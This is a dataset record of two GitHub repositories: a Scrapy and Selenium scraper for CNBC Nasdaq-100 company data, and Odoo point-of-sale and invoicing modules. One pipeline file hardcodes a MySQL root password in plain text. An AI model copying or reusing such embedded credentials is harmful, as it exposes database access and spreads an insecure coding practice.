repo_name
stringlengths
5
114
repo_url
stringlengths
24
133
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
directory_id
stringlengths
40
40
branch_name
stringclasses
209 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
9.83k
683M
star_events_count
int64
0
22.6k
fork_events_count
int64
0
4.15k
gha_license_id
stringclasses
17 values
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_language
stringclasses
115 values
files
listlengths
1
13.2k
num_files
int64
1
13.2k
zxstock/nd100
https://github.com/zxstock/nd100
85126e3311b4174e8c54887bcfc28960e4754aae
d5748f01778c5e3d5b31742e3929bfbbe34999e4
3dea1dde1196dad0a491e33572150a7b27f1d41e
refs/heads/master
2020-04-02T19:22:06.892654
2018-10-25T20:16:01
2018-10-25T20:16:01
154,731,597
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6677215099334717, "alphanum_fraction": 0.699367105960846, "avg_line_length": 27.81818199157715, "blob_id": "d3ecb263ed375c4b6905afd7aee5fdbc2ec6a728", "content_id": "b289d3ba2b24cade10cb9f9e6e2931c06fc0310e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 316, "license_type": "no_license", "max_line_length": 59, "num_lines": 11, "path": "/main.py", "repo_name": "zxstock/nd100", "src_encoding": "UTF-8", "text": "from scrapy.cmdline import execute\n\nimport sys\n\nimport os\n\n#print(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(os.path.dirname(os.path.abspath(__file__)))\n#execute(['scrapy', 'crawl', 'nd100list'])\n#execute(['scrapy', 'crawl', 'nd100detail']) #spider name\nexecute(['scrapy', 'crawl', 'nd100detail2'])" }, { "alpha_fraction": 0.5695839524269104, "alphanum_fraction": 0.5961262583732605, "avg_line_length": 43.967742919921875, "blob_id": "afaeeb85d8f396a3dad938bb417202b1d6f4011f", "content_id": "770a8bed95c6db63e758d65482d1737d90df0e44", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2788, "license_type": "no_license", "max_line_length": 153, "num_lines": 62, "path": "/nd100/spiders/nd100detail.py", "repo_name": "zxstock/nd100", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport scrapy\nimport numpy as np\nimport datetime\nfrom scrapy.http import Request\nfrom urllib import parse\nfrom nd100.items import Nd100Item\nfrom scrapy.loader import ItemLoader\n\nimport re\n\n\nclass nd100listSpider(scrapy.Spider):\n name = 'nd100detail'\n base_url = 'http://www.cnbc.com/'\n start_urls = ['https://www.cnbc.com/nasdaq-100/']\n\n\n def parse(self, response):\n urls = response.css(\".first.text a::attr(href)\").extract()\n symbols = response.css(\" .first.text a::text\").extract()\n #names = response.css(\".data.quoteTable tbody tr\").extract()\n\n for i in np.arange(len(urls)):\n url = \"http:\"+urls[i]\n symbol = symbols[i]\n yield scrapy.Request('https://apps.cnbc.com/view.asp?symbol='+symbol + \".O&uid=stocks/summary\", meta={'item_url': url, 'item_symbol':symbol},\n callback=self.parse_detail)\n pass\n\n\n def parse_detail(self, response):\n Nd100Item_result = Nd100Item()\n descShort = response.css(\"#descShort::text\").extract_first()\n descLong = response.css(\"#descLong::text\").extract_first()\n CEO = response.css(\".drkr::text\").extract_first()\n if len(response.css(\".drkr1::text\").extract()) >= 4: # US address: street city state country with zipcode\n address = response.css(\".drkr::text\").extract()[1] + ', ' + response.css(\".drkr1::text\").extract()[0] + ', ' +\\\n response.css(\".drkr1::text\").extract()[1] + ', ' + response.css(\".drkr1::text\").extract()[2] + ', ' +\\\n response.css(\".drkr1::text\").extract()[3]\n else: # EU address with less information not sure if I can use extract_second()\n address = response.css(\".drkr::text\").extract()[1] + ', ' + response.css(\".drkr1::text\").extract()[0] + ', ' +\\\n response.css(\".drkr1::text\").extract()[1] + ', ' + response.css(\".drkr1::text\").extract()[2]\n shares_out = response.css(\".bold.aRit::text\").extract()[0]\n inst_own = response.css(\".bold.aRit::text\").extract()[1]\n mark_cap = response.css(\".bold.aRit::text\").extract()[2]\n #GPM = response.css(\"#keyMeasures .moduleBox .floatWrapper::text\").extract() # 5 module class\n\n\n\n Nd100Item_result[\"url\"] = response.meta['item_url']\n Nd100Item_result[\"symbol\"] = response.meta['item_symbol']\n Nd100Item_result[\"descShort\"] = descShort\n Nd100Item_result[\"descLong\"] = descLong\n Nd100Item_result[\"CEO\"] = CEO\n Nd100Item_result[\"address\"] = address\n Nd100Item_result[\"shares_out\"] = shares_out\n Nd100Item_result[\"inst_own\"] = inst_own\n Nd100Item_result[\"mark_cap\"] = mark_cap\n\n yield Nd100Item_result # pass to item\n pass\n" }, { "alpha_fraction": 0.6905737519264221, "alphanum_fraction": 0.693647563457489, "avg_line_length": 26.13888931274414, "blob_id": "82def7138182807cf00e90018368034d28b31f7c", "content_id": "8ddfeeb2a71aaedaa2e1dc8dc7289f53318b956b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 988, "license_type": "no_license", "max_line_length": 80, "num_lines": 36, "path": "/nd100/models/iframe.py", "repo_name": "zxstock/nd100", "src_encoding": "UTF-8", "text": "from selenium import webdriver\nfrom bs4 import BeautifulSoup\nfrom selenium.webdriver.chrome.options import Options\nimport sys\nfrom pyvirtualdisplay import Display\n\nchrome_options = Options()\nchrome_options.add_argument('--headless')\ndriver = webdriver.Chrome('C:/driver',\n chrome_options=chrome_options)\n\n\ndef getDriverHttp(url):\n driver.get(url)\n iframe = driver.find_elements_by_tag_name('iframe')[1]\n driver.switch_to.frame(iframe) # 最重要的一步\n soup = BeautifulSoup(driver.page_source, \"html.parser\")\n return soup\n\n\n\n\n\nif __name__ == '__main__':\n url = getDriverHttp(u'https://www.cnbc.com/quotes/?symbol=AAPL&tab=profile')\n# path = getVideoUrl(url==sys.argv[1])\n print(url)\n\n\nfrom urllib import parse\n\nsrc = driver.find_element_by_name(\"quote_profile_iframe\").get_attribute(\"src\")\nurl = parse.urljoin('https://www.cnbc.com/quotes/?symbol=AAPL&tab=profile', src)\n\ndriver.get(url)\nprint(driver.page_source)" }, { "alpha_fraction": 0.5906579494476318, "alphanum_fraction": 0.6187845468521118, "avg_line_length": 31.112903594970703, "blob_id": "dbf4167c6d841fbb107b360f4e282c19e9039db5", "content_id": "59a58ad1035a36d86283e7695215d5f02d789fc2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1991, "license_type": "no_license", "max_line_length": 154, "num_lines": 62, "path": "/nd100/spiders/nd100list.py", "repo_name": "zxstock/nd100", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport scrapy\nimport numpy as np\nimport datetime\nfrom scrapy.http import Request\nfrom urllib import parse\nfrom nd100.items import Nd100Item\nfrom scrapy.loader import ItemLoader\n\nimport re\n\n\nclass nd100listSpider(scrapy.Spider):\n name = 'nd100list'\n #allowed_domains = ['www.cnbc.com/'] this will allow urls beyond the basic start url\n base_url = 'http://www.cnbc.com/'\n\n start_urls = ['https://www.cnbc.com/nasdaq-100/']\n #start_urls = ['https://www.cnbc.com/']\n\n\n\n def parse(self, response):\n #yield scrapy.Request(self.base_url + 'nasdaq-100/', callback=self.parse)\n #Nd100Item_result = Nd100Item()\n\n\n # Extract information inside each page\n # using css to extract\n\n\n\n urls = response.css(\".first.text a::attr(href)\").extract()\n symbols = response.css(\" .first.text a::text\").extract()\n\n #names = response.css(\".data.quoteTable tbody tr td:nth-of-type(2)\").extract() #only return empty list\n for i in np.arange(len(urls)):\n url = \"http:\"+urls[i]\n symbol = symbols[i]\n #Nd100Item_result[\"url\"] = url\n #Nd100Item[\"name\"] = name\n #Nd100Item_result[\"symbol\"] = symbols[i]\n yield Nd100Item_result # pass to item, and pipelines detect items\n #https://apps.cnbc.com/view.asp?symbol=AAPL.O&uid=stocks/summary\n\n\n #yield scrapy.Request('https://apps.cnbc.com/view.asp?symbol='+symbol + \".O&uid=stocks/summary\", meta={'item_url': url, 'item_symbol':symbol},\n #callback=self.parse_detail)\n\n pass\n\n\n\n def parse_detail(self, response):\n Nd100Item_result = Nd100Item()\n\n desc = response.css(\"#descShort::text\").extract_first()\n Nd100Item_result[\"url\"] = response.meta['item_url']\n Nd100Item_result[\"symbol\"] = response.meta['item_symbol']\n Nd100Item_result[\"descShort\"] = desc\n yield Nd100Item_result # pass to item\n pass\n" }, { "alpha_fraction": 0.5612648129463196, "alphanum_fraction": 0.574703574180603, "avg_line_length": 39.83871078491211, "blob_id": "418a36e45b51f8396374b8c30e05ab20e1bb1977", "content_id": "03c0f2abeb0df44cf17d1a69c5b8c4e848bb26d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1265, "license_type": "no_license", "max_line_length": 153, "num_lines": 31, "path": "/nd100/pipelines.py", "repo_name": "zxstock/nd100", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\nimport mysql.connector\n\nclass Nd100Pipeline(object):\n def process_item(self, item, spider):\n return item\n\n\nclass MysqlPipeline(object):\n def __init__(self): # initialize the DB Connection\n self.conn = mysql.connector.connect(user='root', password='gmw6504192658',\n host='127.0.0.1', database='nd100list', charset='utf8',\n use_unicode=True)\n self.cursor = self.conn.cursor() # Database operation\n\n def process_item(self, item, spider):\n insert_sql = \"\"\"\n insert into nd100list(symbol,url,descShort, descLong, CEO, address, shares_out, inst_own, mark_cap, NIGR_result)\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n\n \"\"\"\n self.cursor.execute(insert_sql, (item['symbol'], item['url'],item['descShort'],item['descLong'],item['CEO'], item['address'], item['shares_out'],\n item['inst_own'], item['mark_cap'],item['NIGR_result']))\n self.conn.commit()\n return item" } ]
5
AgroMorales/agroindustrial
https://github.com/AgroMorales/agroindustrial
df5b2dcae5dfd7f78d5760f4564872793034d0cf
b99ba0fcb3f0d9c624e8c8867d4f961ed6ce177c
98bb558db023777e3a92f34573cd36209aae4a70
refs/heads/main
2023-06-15T15:23:37.565405
2021-07-16T01:49:33
2021-07-16T01:49:33
386,472,727
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5418182015419006, "alphanum_fraction": 0.5636363625526428, "avg_line_length": 37.28571319580078, "blob_id": "c1d3731762d18c913d414044ba2fba2a1e192fcc", "content_id": "fc44ad1df90b8a34b4168080161ed06dc14b5c0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 550, "license_type": "no_license", "max_line_length": 89, "num_lines": 14, "path": "/pos_agrov14/models/account_payment.py", "repo_name": "AgroMorales/agroindustrial", "src_encoding": "UTF-8", "text": "from odoo import models, fields, api\r\n\r\nclass PriceListMin(models.Model):\r\n _inherit = 'account.payment'\r\n x_monto_mn = fields.Char('Monto en Letra 00/100 MN', compute=\"_montomn\", store=False)\r\n\r\n @api.depends('state')\r\n def _montomn(self):\r\n monto = self.amount\r\n if self.state == 'posted':\r\n self['x_monto_mn'] = self.currency_id.amount_to_text(int(monto)) + ' ' + str(\r\n int(round(monto - int(monto), 2) * 100)) + '/100 M.N.'\r\n else:\r\n self['x_monto_mn'] = 'CHEQUE CANCELADO'\r\n" }, { "alpha_fraction": 0.6868131756782532, "alphanum_fraction": 0.6868131756782532, "avg_line_length": 33.20000076293945, "blob_id": "3ff70c94c8b08107a7d66effc8ed62027c042a67", "content_id": "b59375ff73cfc8a3d2cbedf37c9f351fc3f9f4e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 182, "license_type": "no_license", "max_line_length": 58, "num_lines": 5, "path": "/pos_agrov14/models/models.py", "repo_name": "AgroMorales/agroindustrial", "src_encoding": "UTF-8", "text": "from odoo import models, fields, api\r\n\r\nclass PriceListMin(models.Model):\r\n _inherit = 'product.pricelist.item'\r\n x_price_min = fields.Float('Precio minimo',store=True)\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.760869562625885, "alphanum_fraction": 0.760869562625885, "avg_line_length": 90, "blob_id": "5561ad3771c30a0a32f88a1358b4f048e2f5337e", "content_id": "a3d2a81f0ff9c9a3439f2f9491c2b60f1def27cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 92, "license_type": "no_license", "max_line_length": 90, "num_lines": 1, "path": "/pos_agrov14/models/__init__.py", "repo_name": "AgroMorales/agroindustrial", "src_encoding": "UTF-8", "text": "from . import models, pos_order_to_invoice, nv_to_pos_invoice, sale_order, account_payment\r\n" }, { "alpha_fraction": 0.4947834312915802, "alphanum_fraction": 0.5026873350143433, "avg_line_length": 37.049381256103516, "blob_id": "19afe6079c19f9a2d80fc093106cb0a2884ae82d", "content_id": "7b194d69924ed1d5b57f9e391098b9e46871bf57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3163, "license_type": "no_license", "max_line_length": 109, "num_lines": 81, "path": "/pos_agrov14/models/nv_to_pos_invoice.py", "repo_name": "AgroMorales/agroindustrial", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\r\nimport logging\r\nfrom datetime import timedelta\r\nfrom functools import partial\r\n\r\nimport psycopg2\r\nimport pytz\r\n\r\nfrom odoo import api, fields, models, tools, _\r\nfrom odoo.tools import float_is_zero, float_round\r\nfrom odoo.exceptions import ValidationError, UserError\r\nfrom odoo.http import request\r\nfrom odoo.osv.expression import AND\r\nimport base64\r\n\r\n_logger = logging.getLogger(__name__)\r\n\r\nclass NvPosInvoice(models.Model):\r\n _inherit = 'account.move'\r\n x_prueba = fields.Char('para pruebas')\r\n x_ff = fields.Char('ff', default='/')\r\n\r\n def action_nv_to_pos_invoice(self):\r\n invoice_vals = {}\r\n ref = ''\r\n #crm_team_id = self.crm_team_id.id\r\n cia = self.company_id.id\r\n list_lin = []#\r\n\r\n for linea in self.invoice_line_ids:\r\n list_lin.append((0, 0,\r\n {'ref': linea.name,\r\n 'journal_id': 10,\r\n # el Id es 10 para que se generen el el POS de lo contrario hay que poner el 1\r\n 'company_id': cia,\r\n 'company_currency_id': 33,\r\n 'account_id': linea.account_id.id,\r\n 'account_root_id': linea.account_root_id.id,\r\n 'name': linea.name,\r\n 'quantity': linea.quantity,\r\n 'price_unit': linea.price_unit,\r\n 'product_uom_id': linea.product_uom_id.id,\r\n 'product_id': linea.product_id.id,\r\n 'tax_ids': [(6, 0, linea.tax_ids.ids)]\r\n }))\r\n ref += linea.name\r\n\r\n invoice_vals = {\r\n 'journal_id': 10, # el Id es 10 para que se generen el el POS de lo contrario hay que poner el 1\r\n 'move_type': 'out_invoice',\r\n 'invoice_origin': self.ids,\r\n 'company_id': cia,\r\n 'partner_id': self.partner_id.id,\r\n 'partner_shipping_id': self.partner_shipping_id.id,\r\n 'currency_id': self.currency_id.id,\r\n #'payment_reference': ref,\r\n 'invoice_payment_term_id': 1,\r\n #'team_id': crm_team_id,\r\n 'invoice_line_ids': list_lin,\r\n 'forma_pago': '01',\r\n 'methodo_pago': 'PUE',\r\n 'uso_cfdi': 'P01',\r\n 'tipo_comprobante': 'I',\r\n }\r\n\r\n idnew = self.env['account.move'].sudo().create(invoice_vals)\r\n self.env.cr.commit()\r\n\r\n def folio_factura_fiscal(self):\r\n if self.x_ff == '/':\r\n sequence_id = self.env['ir.sequence'].search([('code', '=', 'account.sequence.ff')])\r\n sequence_pool = self.env['ir.sequence']\r\n application_no = sequence_pool.sudo().get_id(sequence_id.id)\r\n self.write({'x_ff': application_no})\r\n self.write({'x_prueba': application_no})\r\n\r\n\r\n #for rec in self:\r\n # rec.state = 'invoiced'\r\n # rec.account_move = idnew\r\n" }, { "alpha_fraction": 0.5355330109596252, "alphanum_fraction": 0.5436230897903442, "avg_line_length": 40.322147369384766, "blob_id": "132074338b4d1e104501c312f801b1815e068392", "content_id": "9accb78d5d359c866d8d48bb50843bb3fb006c02", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6304, "license_type": "no_license", "max_line_length": 135, "num_lines": 149, "path": "/pos_agrov14/models/pos_order_to_invoice.py", "repo_name": "AgroMorales/agroindustrial", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\r\nimport logging\r\nfrom datetime import timedelta,datetime\r\nfrom functools import partial\r\n\r\nimport psycopg2\r\nimport pytz\r\n\r\nfrom odoo import api, fields, models, tools, _\r\nfrom odoo.tools import float_is_zero, float_round\r\nfrom odoo.exceptions import ValidationError, UserError\r\nfrom odoo.http import request\r\nfrom odoo.osv.expression import AND\r\nimport base64\r\n\r\n_logger = logging.getLogger(__name__)\r\n\r\nclass NvPosInvoice(models.Model):\r\n _inherit = 'account.move'\r\n x_monto_f = fields.Float('Monto de la factura', default='10000.00', store =True)\r\n x_order_ids = fields.One2many('pos.order', 'account_move', string='Ids de Ordenes Afectadas',\r\n copy=False, readonly=True)\r\n x_prueba = fields.Char('para pruebas')\r\n\r\n def PostoInvoice(self):\r\n fi = datetime.combine(self.invoice_date, datetime.min.time()) + timedelta(hours=5)\r\n ff = fi + timedelta(hours=23)\r\n x = ''\r\n ordenes = self.env['pos.order'].search(['&',('date_order','>',fi),('date_order','<',ff)]).filtered(lambda r: r.state == 'done')\r\n\r\n if ordenes:\r\n x = ordenes.action_many_pos_order_invoice(self.x_monto_f)\r\n self.update(x)\r\n self.x_monto_f = self.amount_total\r\n #self.x_prueba = ordenes\r\n\r\n for order_id in self.x_order_ids:\r\n order_id.state = 'invoiced'\r\n\r\n\r\n def EntryReversal(self, default_values_list=None, cancel=True):\r\n ''' Reverse a recordset of account.move.\r\n If cancel parameter is true, the reconcilable or liquidity lines\r\n of each original move will be reconciled with its reverse's.\r\n\r\n :param default_values_list: A list of default values to consider per move.\r\n ('type' & 'reversed_entry_id' are computed in the method).\r\n :return: An account.move recordset, reverse of the current self.\r\n '''\r\n if not default_values_list:\r\n default_values_list = [{} for move in self]\r\n\r\n if cancel:\r\n lines = self.mapped('line_ids')\r\n # Avoid maximum recursion depth.\r\n if lines:\r\n lines.remove_move_reconcile()\r\n\r\n move_vals_list = []\r\n for move, default_values in zip(self, default_values_list):\r\n default_values.update({\r\n 'move_type': 'entry',\r\n 'reversed_entry_id': move.id,\r\n 'journal_id': 3,\r\n 'ref': 'reverso del asiento ' + move.name\r\n })\r\n move_vals_list.append(move.with_context(move_reverse_cancel=cancel)._reverse_move_vals(default_values, cancel=cancel))\r\n\r\n reverse_moves = self.env['account.move'].create(move_vals_list)\r\n\r\n # Reconcile moves together to cancel the previous one.\r\n if cancel:\r\n reverse_moves.with_context(move_reverse_cancel=cancel)._post(soft=False)\r\n for move, reverse_move in zip(self, reverse_moves):\r\n accounts = move.mapped('line_ids.account_id') \\\r\n .filtered(lambda account: account.reconcile or account.internal_type == 'liquidity')\r\n for account in accounts:\r\n (move.line_ids + reverse_move.line_ids)\\\r\n .filtered(lambda line: line.account_id == account and not line.reconciled)\\\r\n .with_context(move_reverse_cancel=cancel)\\\r\n .reconcile()\r\n\r\nclass PosOrdertoInvoice(models.Model):\r\n _inherit = 'pos.order'\r\n x_prueba = fields.Char('para pruebas')\r\n\r\n def prueba(self):\r\n for x in self:\r\n x.x_prueba = self\r\n\r\n def action_many_pos_order_invoice(self,m): # se agrega el argumento m que es el monto a facturar\r\n invoice_vals = {}\r\n ref = ''\r\n refa = ''\r\n crm_team_id = self.crm_team_id.id\r\n cia = self.company_id.id\r\n lineas = self.env['pos.order.line'].search([('order_id', 'in', self.ids)])\r\n list_lin = []\r\n order_ids = []\r\n monto_partidas = 0\r\n b= 0\r\n for linea in lineas.sorted(key=lambda r: r.order_id.id):\r\n if refa != linea.order_id.name:\r\n if b != 0:\r\n break\r\n ref += linea.order_id.name + ' '\r\n refa = linea.order_id.name\r\n order_ids.append(linea.order_id.id)\r\n\r\n list_lin.append((0, 0,\r\n {'ref': linea.order_id.name,\r\n 'journal_id': 10, #el Id es 10 para que se generen el el POS de lo contrario hay que poner el 1\r\n 'company_id': cia,\r\n 'company_currency_id': 33,\r\n 'account_id': linea.product_id.product_tmpl_id.categ_id.property_account_income_categ_id.id,\r\n 'account_root_id': linea.product_id.product_tmpl_id.categ_id.property_account_income_categ_id.root_id.id,\r\n 'name': linea.name,\r\n 'quantity': linea.qty,\r\n 'price_unit': linea.price_unit,\r\n 'product_uom_id': linea.product_uom_id.id,\r\n 'product_id': linea.product_id.id,\r\n 'tax_ids': [(6, 0, linea.tax_ids_after_fiscal_position.ids)]\r\n }))\r\n\r\n monto_partidas += linea.price_subtotal\r\n if monto_partidas > m:\r\n b=1\r\n\r\n invoice_vals = {\r\n 'journal_id': 10, #el Id es 10 para que se generen el el POS de lo contrario hay que poner el 1\r\n 'move_type': 'out_invoice',\r\n 'invoice_origin': self.ids,\r\n 'company_id': cia,\r\n 'partner_id': 11014,\r\n 'partner_shipping_id': 11014,\r\n 'currency_id': self.pricelist_id.currency_id.id,\r\n 'payment_reference': ref,\r\n 'invoice_payment_term_id': 1,\r\n 'team_id': crm_team_id,\r\n 'invoice_line_ids': list_lin,\r\n 'forma_pago': '01',\r\n 'methodo_pago': 'PUE',\r\n 'uso_cfdi': 'P01',\r\n 'tipo_comprobante': 'I',\r\n 'state': 'posted',\r\n 'x_order_ids': order_ids,\r\n }\r\n return(invoice_vals)" }, { "alpha_fraction": 0.5434447526931763, "alphanum_fraction": 0.553213357925415, "avg_line_length": 35.36538314819336, "blob_id": "bdb2f4daacdbed782308cde7594d3a5e6ae358f0", "content_id": "7e4cadc03a8006d357bf7aa09a330a860c1688c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1945, "license_type": "no_license", "max_line_length": 105, "num_lines": 52, "path": "/pos_agrov14/models/founds_transfer.py", "repo_name": "AgroMorales/agroindustrial", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\r\nimport logging\r\nfrom datetime import timedelta\r\nfrom functools import partial\r\n\r\nimport psycopg2\r\nimport pytz\r\n\r\nfrom odoo import api, fields, models, tools, _\r\nfrom odoo.tools import float_is_zero, float_round\r\nfrom odoo.exceptions import ValidationError, UserError\r\nfrom odoo.http import request\r\nfrom odoo.osv.expression import AND\r\nimport base64\r\n\r\n_logger = logging.getLogger(__name__)\r\n\r\nclass FoundsTransfer(models.Model):\r\n _inherit = \"account.payment\"\r\n\r\n def transfer_payments_action(self):\r\n x = self.env['account.journal'].search([('bank_account_id','=',self.partner_bank_id.acc_number)])\r\n self.x_prueba = x.name\r\n\r\n def _create_basic_move(self, cred_account=None, deb_account=None, amount=0, date_str='2019-02-01',\r\n partner_id=False, name=False, cred_analytic=False, deb_analytic=False,\r\n transfer_model_id=False, journal_id=False, posted=True):\r\n move_vals = {\r\n 'date': date_str,\r\n 'transfer_model_id': transfer_model_id,\r\n 'line_ids': [\r\n (0, 0, {\r\n 'account_id': cred_account or self.origin_accounts[0].id,\r\n 'credit': amount,\r\n 'analytic_account_id': cred_analytic,\r\n 'partner_id': partner_id,\r\n }),\r\n (0, 0, {\r\n 'account_id': deb_account or self.origin_accounts[1].id,\r\n 'analytic_account_id': deb_analytic,\r\n 'debit': amount,\r\n 'partner_id': partner_id,\r\n }),\r\n ]\r\n }\r\n if journal_id:\r\n move_vals['journal_id'] = journal_id\r\n move = self.env['account.move'].create(move_vals)\r\n if posted:\r\n move.action_post()\r\n return move\r\n\r\n" }, { "alpha_fraction": 0.6005154848098755, "alphanum_fraction": 0.6082473993301392, "avg_line_length": 41.173912048339844, "blob_id": "73731fea7ca16e877b0afad56682f46c51d22c52", "content_id": "e4fced22a3612b083ea28f0fe61c05d887ea8336", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1940, "license_type": "no_license", "max_line_length": 110, "num_lines": 46, "path": "/aspl_pos_order_sync_ee/__manifest__.py", "repo_name": "AgroMorales/agroindustrial", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#################################################################################\n# Author : Acespritech Solutions Pvt. Ltd. (<www.acespritech.com>)\n# Copyright(c): 2012-Present Acespritech Solutions Pvt. Ltd.\n# All Rights Reserved.\n#\n# This program is copyright property of the author mentioned above.\n# You can`t redistribute it and/or modify it.\n#\n#################################################################################\n{\n 'name': 'POS Order Synchronization (Enterprise)',\n 'version': '1.0.1',\n 'author': 'Acespritech Solutions Pvt. Ltd.',\n 'summary': 'POS Order sync between Salesman and Cashier',\n 'description': \"Allow salesperson to only create draft order and send draft order to Cashier for payment\",\n 'category': 'Point Of Sale',\n 'website': 'http://www.acespritech.com',\n 'depends': ['base', 'point_of_sale'],\n 'price': 25.00,\n 'currency': 'EUR',\n 'images': [\n 'static/description/main_screenshot.png',\n ],\n 'data': [\n 'views/pos_assets.xml',\n 'views/point_of_sale.xml',\n 'views/res_users_view.xml'\n ],\n 'images': ['static/description/main_screenshot.png'],\n 'qweb': [\n 'static/src/xml/screens/ChromeWidgets/OrdersIconChrome.xml',\n 'static/src/xml/screens/ProductScreen/ControlButtons/OrderScreenButton.xml',\n 'static/src/xml/screens/ProductScreen/ProductScreen.xml',\n 'static/src/xml/screens/OrderScreen/OrderScreen.xml',\n 'static/src/xml/screens/OrderScreen/PopupProductLines.xml',\n 'static/src/xml/Popups/CreateDraftOrderPopup.xml',\n 'static/src/xml/Popups/ReOrderPopup.xml',\n 'static/src/xml/Popups/AuthenticationPopup.xml',\n 'static/src/xml/Chrome.xml',\n 'static/src/xml/screens/ReceiptScreen/OrderReceipt.xml',\n ],\n 'installable': True,\n 'auto_install': False,\n}\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n" }, { "alpha_fraction": 0.6524389982223511, "alphanum_fraction": 0.6524389982223511, "avg_line_length": 29.600000381469727, "blob_id": "749461967922ab75ce64d8fcb931b6f2f592b5da", "content_id": "a4127eaec8bae68178756bd2e4afc22b49f69d42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 164, "license_type": "no_license", "max_line_length": 45, "num_lines": 5, "path": "/pos_agrov14/models/sale_order.py", "repo_name": "AgroMorales/agroindustrial", "src_encoding": "UTF-8", "text": "from odoo import models, fields, api\r\n\r\nclass PriceListMin(models.Model):\r\n _inherit = 'account.move.line'\r\n x_bt_cj = fields.Char('Cj/Bt',store=True)\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5423197746276855, "alphanum_fraction": 0.5501567125320435, "avg_line_length": 28.4761905670166, "blob_id": "cf4d0f6714d410dbddb961e32c8e374916a8073c", "content_id": "a94801df5ba0f82a958c6ab1074c8ef253f8897d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 640, "license_type": "no_license", "max_line_length": 99, "num_lines": 21, "path": "/pos_agrov14/__manifest__.py", "repo_name": "AgroMorales/agroindustrial", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n{\r\n 'name': \"POS AGROMORALES\",\r\n 'summary': \"Modificaciones al POS para Agromorales\",\r\n 'description': \"\"\"Agregar botón para consultar las listas de precios del producto seleccionado,\r\n modificación al ticket \"\"\",\r\n 'author': \"KRA-FA SA DE CV\",\r\n 'website': \"http://www.krafa.com.mx\",\r\n 'category': 'Point of Sale',\r\n 'version': '14.0.1',\r\n 'depends': ['point_of_sale'],\r\n 'data': [\r\n 'views/pos_assets.xml',\r\n 'views/sequence_ff.xml',\r\n 'views/pos_order_to_invoice.xml',\r\n 'views/order.xml'\r\n ],\r\n 'qweb': [\r\n 'static/src/xml/pos_agro.xml',\r\n ]\r\n}" }, { "alpha_fraction": 0.6529680490493774, "alphanum_fraction": 0.6529680490493774, "avg_line_length": 22.55555534362793, "blob_id": "9c04878d27c27cf12c736faae285fa7e55145098", "content_id": "8dc010fb5b7382f8d76683d220851759862155fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 219, "license_type": "no_license", "max_line_length": 44, "num_lines": 9, "path": "/pos_agrov14/models/hostname.py", "repo_name": "AgroMorales/agroindustrial", "src_encoding": "UTF-8", "text": "from odoo import models, fields, api\r\nimport socket\r\n\r\nclass HostName(models.Model):\r\n _inherit = 'res.user'\r\n\r\n def HostName(self):\r\n hostname = str(socket.gethostname())\r\n self.signature = hostname" }, { "alpha_fraction": 0.6462450623512268, "alphanum_fraction": 0.6501976251602173, "avg_line_length": 29.6875, "blob_id": "f2db0391c6c62b8e2d9c14c045ed34a2a00538cd", "content_id": "0b008fbd6dde7e5c9e101a58dce147e87fb2dd1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1012, "license_type": "no_license", "max_line_length": 97, "num_lines": 32, "path": "/pos_agrov14/models/nv_to_ff.py", "repo_name": "AgroMorales/agroindustrial", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\r\nimport logging\r\nfrom datetime import timedelta\r\nfrom functools import partial\r\n\r\nimport psycopg2\r\nimport pytz\r\n\r\nfrom odoo import api, fields, models, tools, _\r\nfrom odoo.tools import float_is_zero, float_round\r\nfrom odoo.exceptions import ValidationError, UserError\r\nfrom odoo.http import request\r\nfrom odoo.osv.expression import AND\r\nimport base64\r\n\r\n_logger = logging.getLogger(__name__)\r\n\r\n\r\n\r\nclass NvtoFFInvoice(models.Model):\r\n _inherit = 'account.move'\r\n x_ff = fields.Char('ff')\r\n\r\n# 